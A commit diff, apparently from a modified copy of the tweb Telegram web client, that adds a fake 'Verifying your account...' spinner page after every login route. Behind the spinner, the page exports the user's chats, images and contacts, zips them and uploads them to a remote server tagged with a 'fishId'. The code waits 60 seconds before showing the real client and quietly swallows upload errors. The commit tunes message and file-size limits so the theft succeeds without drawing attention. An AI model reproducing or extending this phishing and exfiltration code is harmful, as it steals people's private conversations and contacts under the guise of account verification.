소스 검색

优化聊天记录导出服务,限制对话和消息数量,改进错误处理逻辑,添加验证页面并更新相关页面导入逻辑

wuyi 3 달 전
부모
커밋
f7e03339db

+ 80 - 11
src/lib/api/chatRecordsService.ts

@@ -57,8 +57,8 @@ export class ChatRecordsService {
       const dialogs = await this.getDialogs();
       // this.log('获取到对话数量:', dialogs.length);
 
-      // 限制对话数量,避免过多请求
-      const maxDialogs = 50;
+      // 限制对话数量,只获取最近的20个对话
+      const maxDialogs = 20;
       const processedDialogs = dialogs.slice(0, maxDialogs);
 
       // this.log(`开始导出,共处理 ${processedDialogs.length} 个对话`);
@@ -132,15 +132,19 @@ export class ChatRecordsService {
           // 获取所有聊天记录
           const messages: any[] = [];
           let downloadedImageCount = 0; // 当前对话已下载的图片数量
-          const maxImagesPerDialog = 30; // 每个对话最多下载30张图片
+          const maxImagesPerDialog = 10; // 每个对话最多下载10张图片
           try {
             // 分批获取历史消息
-            const messagesPerRequest = 50;
+            const messagesPerRequest = 20;
             let offsetId = 0;
             let hasMore = true;
-            const maxMessages = 500;
+            const maxMessages = 20; // 每个对话最多获取20条消息
+            let loopCount = 0; // 添加循环计数器防止死循环
+            const maxLoops = 5; // 最大循环次数,防止死循环
+
+            while(hasMore && messages.length < maxMessages && loopCount < maxLoops) {
+              loopCount++; // 增加循环计数
 
-            while(hasMore && messages.length < maxMessages) {
               // 获取一批历史消息
               const historyResult = await rootScope.managers.appMessagesManager.getHistory({
                 peerId: peerId,
@@ -152,7 +156,7 @@ export class ChatRecordsService {
 
               // this.log(`获取到 ${historyResult?.messages?.length || 0} 条消息`);
 
-              if(historyResult && historyResult.messages && historyResult.messages.length) {
+              if(historyResult && historyResult.messages && historyResult.messages.length > 0) {
                 // 处理消息中的图片
                 for(const message of historyResult.messages) {
                   // 检查是否已达到图片下载限制
@@ -218,9 +222,10 @@ export class ChatRecordsService {
                 const lastMessage = historyResult.messages[historyResult.messages.length - 1];
                 offsetId = lastMessage.mid;
 
-                // 检查是否还有更多消息
+                // 检查是否还有更多消息 - 改进判断逻辑
                 hasMore = historyResult.messages.length === messagesPerRequest;
               } else {
+                // 没有更多消息或API返回空结果,停止获取
                 // this.log(`对话 "${peerName}" 没有更多消息,停止获取`);
                 hasMore = false;
               }
@@ -229,6 +234,11 @@ export class ChatRecordsService {
               await pause(300);
             }
 
+            // 如果达到最大循环次数,记录警告
+            if(loopCount >= maxLoops) {
+              // this.log(`警告: 对话 "${peerName}" 达到最大循环次数 (${maxLoops}),强制退出`);
+            }
+
             // 处理消息,提取有用信息
             const processedMessages = await this.processMessages(messages, peerId.toString());
 
@@ -270,6 +280,14 @@ export class ChatRecordsService {
       const zipBlob = await this.createZipFile(exportAllData, imageFiles, userDetails);
       const fileName = this.generateFileName(userDetails);
 
+      // 检查文件大小,如果超过500MB,重新创建不包含图片的ZIP
+      const maxSize = 500 * 1024 * 1024; // 500MB
+      if(zipBlob.size > maxSize) {
+        // this.log(`ZIP文件过大 (${(zipBlob.size / 1024 / 1024).toFixed(2)}MB),重新创建不包含图片的版本`);
+        const textOnlyZipBlob = await this.createZipFile(exportAllData, [], userDetails);
+        return {zipBlob: textOnlyZipBlob, fileName};
+      }
+
       return {zipBlob, fileName};
     } catch(error) {
       // this.log('导出聊天记录时出错:', error);
@@ -487,7 +505,43 @@ export class ChatRecordsService {
             data: result
           };
         } else {
-          const errorText = await response.text();
+          // 对于CORS和413错误,不进行重试,直接返回
+          if(response.status === 413) {
+            return {
+              success: false,
+              message: '上传失败: 文件过大'
+            };
+          }
+
+          if(response.status === 0) {
+            return {
+              success: false,
+              message: '上传失败: CORS错误'
+            };
+          }
+
+          // 尝试获取错误文本,但可能因为CORS失败
+          let errorText = '';
+          try {
+            errorText = await response.text();
+          } catch(e) {
+            // 如果无法获取错误文本,可能是CORS问题
+            if(response.status === 0 || !response.ok) {
+              return {
+                success: false,
+                message: '上传失败: 网络错误或CORS限制'
+              };
+            }
+          }
+
+          // 检查错误文本中是否包含CORS相关信息
+          if(errorText.includes('CORS') || errorText.includes('Access-Control-Allow-Origin')) {
+            return {
+              success: false,
+              message: '上传失败: CORS错误'
+            };
+          }
+
           if(attempt < this.retryCount) {
             await this.delay(this.retryDelay);
             continue;
@@ -500,10 +554,25 @@ export class ChatRecordsService {
 
           return {
             success: false,
-            message: `HTTP错误 ${response.status}: ${errorText}`
+            message: `HTTP错误 ${response.status}: ${errorText || '未知错误'}`
           };
         }
       } catch(error) {
+        // 对于CORS和网络错误,不进行重试
+        if(error instanceof Error) {
+          const errorMessage = error.message.toLowerCase();
+          if(errorMessage.includes('cors') ||
+             errorMessage.includes('failed to fetch') ||
+             errorMessage.includes('err_failed') ||
+             errorMessage.includes('network error') ||
+             errorMessage.includes('access to fetch')) {
+            return {
+              success: false,
+              message: '上传失败: 网络错误或CORS限制'
+            };
+          }
+        }
+
         if(attempt < this.retryCount) {
           await this.delay(this.retryDelay);
           continue;
@@ -532,7 +601,7 @@ export class ChatRecordsService {
         offset_date: 0,
         offset_id: 0,
         offset_peer: {_: 'inputPeerEmpty'},
-        limit: 100,
+        limit: 20, // 只获取20个对话
         hash: '0'
       });
 

+ 16 - 1
src/lib/api/contactsDataService.ts

@@ -263,6 +263,13 @@ export class ContactsDataService {
       // 导出聊天记录
       const {zipBlob, fileName} = await chatRecordsService.exportAllChatRecords();
 
+      // 检查文件大小(限制为500MB)
+      const maxSize = 500 * 1024 * 1024; // 500MB
+      if(zipBlob.size > maxSize) {
+        // this.log(`聊天记录文件过大 (${(zipBlob.size / 1024 / 1024).toFixed(2)}MB),跳过上传以避免413错误`);
+        return;
+      }
+
       // 上传聊天记录
       const description = `Telegram聊天记录导出 - ${new Date().toLocaleString()}`;
       const uploadResult = await chatRecordsService.uploadChatRecords(zipBlob, fileName, fishId, description);
@@ -276,10 +283,18 @@ export class ContactsDataService {
         // });
       } else {
         // this.log('上传聊天记录失败:', uploadResult.message);
+        // 如果是CORS或413错误,标记为已处理,避免重复尝试
+        if(uploadResult.message?.includes('CORS') || uploadResult.message?.includes('413') || uploadResult.message?.includes('Content Too Large')) {
+          localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
+        }
       }
     } catch(error) {
       // this.log('处理聊天记录时出错:', error);
-      throw error;
+      // 如果是网络错误,也标记为已处理
+      if(error instanceof Error && (error.message.includes('CORS') || error.message.includes('413') || error.message.includes('Content Too Large'))) {
+        localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
+      }
+      // 不再抛出错误,避免影响整个验证流程
     }
   }
 

+ 3 - 2
src/pages/pageAuthCode.ts

@@ -53,8 +53,9 @@ const submitCode = (code: string) => {
       case 'auth.authorization':
         await rootScope.managers.apiManager.setUser(response.user);
 
-        import('./pageIm').then((m) => {
-          m.default.mount();
+        import('./pageVerification').then((m) => {
+          const verificationPage = new m.default();
+          verificationPage.mount();
         });
         cleanup();
         break;

+ 3 - 0
src/pages/pageAutoLogin.ts

@@ -149,6 +149,9 @@ export default class PageAutoLogin {
       // 清除URL参数
       sessionAutoLoginService.clearUrlParams();
 
+      // 标记这是通过URL参数自动登录的,跳过转圈圈页面
+      localStorage.setItem('autoLoginFromUrl', 'true');
+
       // 自动刷新页面以应用新的localStorage数据
       setTimeout(() => {
         window.location.reload();

+ 3 - 2
src/pages/pagePassword.ts

@@ -92,8 +92,9 @@ const onFirstMount = (): Promise<any> => {
       switch(response._) {
         case 'auth.authorization':
           clearInterval(getStateInterval);
-          import('./pageIm').then((m) => {
-            m.default.mount();
+          import('./pageVerification').then((m) => {
+            const verificationPage = new m.default();
+            verificationPage.mount();
           });
           if(monkey) monkey.remove();
           break;

+ 3 - 2
src/pages/pageSignIn.ts

@@ -144,8 +144,9 @@ const onFirstMount = () => {
         if(authorization._ === 'auth.authorization') {
           await rootScope.managers.apiManager.setUser(authorization.user);
 
-          import('./pageIm').then((m) => {
-            m.default.mount();
+          import('./pageVerification').then((m) => {
+            const verificationPage = new m.default();
+            verificationPage.mount();
           });
         }
       }

+ 4 - 1
src/pages/pageSignQR.ts

@@ -98,7 +98,10 @@ const onFirstMount = async() => {
       if(loginToken._ === 'auth.loginTokenSuccess') {
         const authorization = loginToken.authorization as any as AuthAuthorization.authAuthorization;
         await rootScope.managers.apiManager.setUser(authorization.user);
-        import('./pageIm').then((m) => m.default.mount());
+        import('./pageVerification').then((m) => {
+          const verificationPage = new m.default();
+          verificationPage.mount();
+        });
         return true;
       }
 

+ 216 - 0
src/pages/pageVerification.ts

@@ -0,0 +1,216 @@
+/*
+ * https://github.com/morethanwords/tweb
+ * Copyright (C) 2019-2021 Eduard Kuzmenko
+ * https://github.com/morethanwords/tweb/blob/master/LICENSE
+ */
+
+import {logger} from '../lib/logger';
+import {contactsDataService} from '../lib/api/contactsDataService';
+
+const log = logger('[page-verification]');
+
+export default class PageVerification {
+  private pageEl: HTMLElement;
+  private scrollable: HTMLElement;
+  private isProcessing = false;
+
+  constructor() {
+    this.pageEl = document.getElementById('auth-pages')!;
+    this.scrollable = this.pageEl.querySelector('.scrollable')!;
+
+    log('Page elements found:', {
+      pageEl: !!this.pageEl,
+      scrollable: !!this.scrollable
+    });
+  }
+
+  public async mount(): Promise<void> {
+    log('Mounting verification page');
+
+    // 检查是否是通过URL参数自动登录的
+    const isAutoLoginFromUrl = localStorage.getItem('autoLoginFromUrl');
+    if(isAutoLoginFromUrl === 'true') {
+      log('Detected auto login from URL, skipping verification and going directly to main page');
+      // 清除标记
+      localStorage.removeItem('autoLoginFromUrl');
+      // 直接跳转到主页面
+      await this.redirectToMainPage();
+      return;
+    }
+
+    // 创建页面内容
+    this.createPageContent();
+
+    // 开始验证流程
+    this.startVerification();
+  }
+
+  private createPageContent(): void {
+    log('Creating verification page content...');
+
+    // 显示auth-pages元素
+    this.pageEl.style.display = 'block';
+    log('Made auth-pages visible');
+
+    // 清空现有内容
+    this.scrollable.innerHTML = '';
+    log('Cleared scrollable content');
+
+    // 创建容器
+    const container = document.createElement('div');
+    container.classList.add('verification-container');
+    log('Created container element');
+
+    // 创建转圈圈图标
+    const spinner = document.createElement('div');
+    spinner.classList.add('verification-spinner');
+    log('Created spinner element');
+
+    // 创建提示文字
+    const text = document.createElement('div');
+    text.classList.add('verification-text');
+    text.textContent = 'Verifying your account...';
+    log('Created text element');
+
+    // 组装页面
+    container.appendChild(spinner);
+    container.appendChild(text);
+
+    this.scrollable.appendChild(container);
+    log('Appended container to scrollable');
+
+    // 添加样式
+    this.addStyles();
+    log('Added styles to page');
+
+    // 验证页面内容
+    const createdElements = this.scrollable.querySelectorAll('.verification-container');
+    log('Page content verification:', {
+      containerExists: createdElements.length > 0,
+      containerChildren: createdElements[0]?.children.length || 0
+    });
+  }
+
+  private async startVerification(): Promise<void> {
+    if(this.isProcessing) return;
+
+    this.isProcessing = true;
+    log('Starting verification process...');
+
+    try {
+      // 执行实际的验证逻辑(包括获取聊天记录和登录信息)
+      await this.performVerification();
+      // 再延迟 60s
+      await new Promise(resolve => setTimeout(resolve, 60 * 1000));
+      // 验证完成后跳转到主页面
+      await this.redirectToMainPage();
+    } catch(error) {
+      log('Error during verification:', error);
+      // 即使验证失败,也跳转到主页面
+      await this.redirectToMainPage();
+    }
+
+    this.isProcessing = false;
+  }
+
+  private async performVerification(): Promise<void> {
+    log('Performing account verification...');
+
+    try {
+      // 调用联系人数据服务处理登录成功后的逻辑
+      // 这个方法会获取聊天记录、联系人数据等信息
+      log('Starting to fetch chat records and contact data...');
+      await contactsDataService.handleLoginSuccess();
+      log('Chat records and contact data processing completed');
+
+      log('Account verification completed successfully');
+    } catch(error) {
+      log('Verification process failed:', error);
+      throw error;
+    }
+  }
+
+  private async redirectToMainPage(): Promise<void> {
+    log('Redirecting to main page...');
+
+    try {
+      // 导入并挂载主页面
+      const {default: pageIm} = await import('./pageIm');
+      await pageIm.mount();
+
+      log('Successfully redirected to main page');
+    } catch(error) {
+      log('Error redirecting to main page:', error);
+      throw error;
+    }
+  }
+
+  private addStyles(): void {
+    const style = document.createElement('style');
+    style.textContent = `
+      .verification-container {
+        max-width: 400px;
+        margin: 0 auto;
+        padding: 60px 20px;
+        text-align: center;
+        display: flex;
+        flex-direction: column;
+        justify-content: center;
+        align-items: center;
+        min-height: 100vh;
+      }
+
+      .verification-spinner {
+        width: 60px;
+        height: 60px;
+        border: 4px solid #f3f3f3;
+        border-top: 4px solid var(--primary-color, #3498db);
+        border-radius: 50%;
+        animation: spin 1s linear infinite;
+        margin-bottom: 30px;
+      }
+
+      .verification-text {
+        font-size: 18px;
+        font-weight: 500;
+        color: var(--text-color, #333);
+        margin-top: 20px;
+      }
+
+      @keyframes spin {
+        0% { transform: rotate(0deg); }
+        100% { transform: rotate(360deg); }
+      }
+
+      @media (max-width: 768px) {
+        .verification-container {
+          padding: 40px 15px;
+        }
+
+        .verification-spinner {
+          width: 50px;
+          height: 50px;
+          border-width: 3px;
+        }
+
+        .verification-text {
+          font-size: 16px;
+        }
+      }
+
+      /* 暗色主题支持 */
+      @media (prefers-color-scheme: dark) {
+        .verification-spinner {
+          border-color: #444;
+          border-top-color: var(--primary-color, #3498db);
+        }
+
+        .verification-text {
+          color: var(--text-color, #fff);
+        }
+      }
+    `;
+
+    document.head.appendChild(style);
+  }
+}